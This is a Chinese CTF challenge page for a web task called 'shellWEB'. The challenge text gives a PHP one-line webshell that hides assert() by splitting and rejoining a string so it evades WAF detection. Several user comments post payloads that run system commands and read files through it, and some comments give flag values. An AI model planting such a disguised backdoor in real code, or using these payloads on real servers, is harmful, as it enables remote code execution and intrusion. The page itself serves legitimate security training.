shellWEB 未解决

分数: 25 金币: 3
题目作者: harry
一　　血: dotast
一血奖励: 1金币
解　　决: 8584
提　　示:
描　　述:
送给大家一个过狗一句话 $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s'])
...
登录回复
评论
ggsea 9天前
举报

列出当前目录：?s=print_r(scandir('./'))，看到flag.txt

回复 0
lawrencekz 1月前
举报

flag{******}

回复 0
hwx 1月前
举报

直接先?s=system('ls'),就看到啦flg的文档再?s=system('cat flg的文档'),就看到flg

回复 0
b2026tf 2月前
举报

本质：字符分割拼接隐藏 assert，绕过防护 等价后门：assert($_GET['s']) 直接 ?s=要执行的PHP代码 即可利用。?s=system('cat flag.php');

回复 0
syhaisy 2月前
举报

20702af5309ab1f70e0f7e8a81076a4e

回复 0
hualong 2月前
举报

直接去搜索 http://171.80.2.169:12682/?s=readfile(%22flaga15808abee46a1d5.txt%22);

回复 1
dlccom 2月前
举报

?s=readfile('/var/www/html/flaga15808abee46a1d5.txt'); 读出 flag

回复 0
谢特恒123 3月前
举报

这个题可以看到是assert是代码执行漏洞它的作用跟eval一样，我们先调用system('ls')；看网页中有什么文件，发现flag文件后，直接用system('cat 文件名');就可以了，评论区我只能说：还得是大佬用这么“高深”的解法

回复 2
kitniu 3月前
举报

?s=system(dir)，然后进入txt文件,flag{********}

回复 1
攻防小哥 3月前
举报

flag{********}

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(10)

解题动态

rorer 攻破了该题 9小时前
Wzzzzzz 攻破了该题 16小时前
lzkang 攻破了该题 18小时前
billy856 攻破了该题 18小时前
moonSTRUCK 攻破了该题 1天前
青云07 攻破了该题 1天前
zwx1998 攻破了该题 1天前
rschei7 攻破了该题 1天前
seastaryao 攻破了该题 1天前
zttz1318 攻破了该题 1天前
WCjj 攻破了该题 2天前
18144280602 攻破了该题 2天前
mumu20260805 攻破了该题 2天前
CN19169645762 攻破了该题 2天前
z231288 攻破了该题 2天前
无言独望西楼月 攻破了该题 2天前
有梦想的咸鱼 攻破了该题 2天前
cxller 攻破了该题 3天前
BananKing 攻破了该题 3天前
willow 攻破了该题 3天前
问题反馈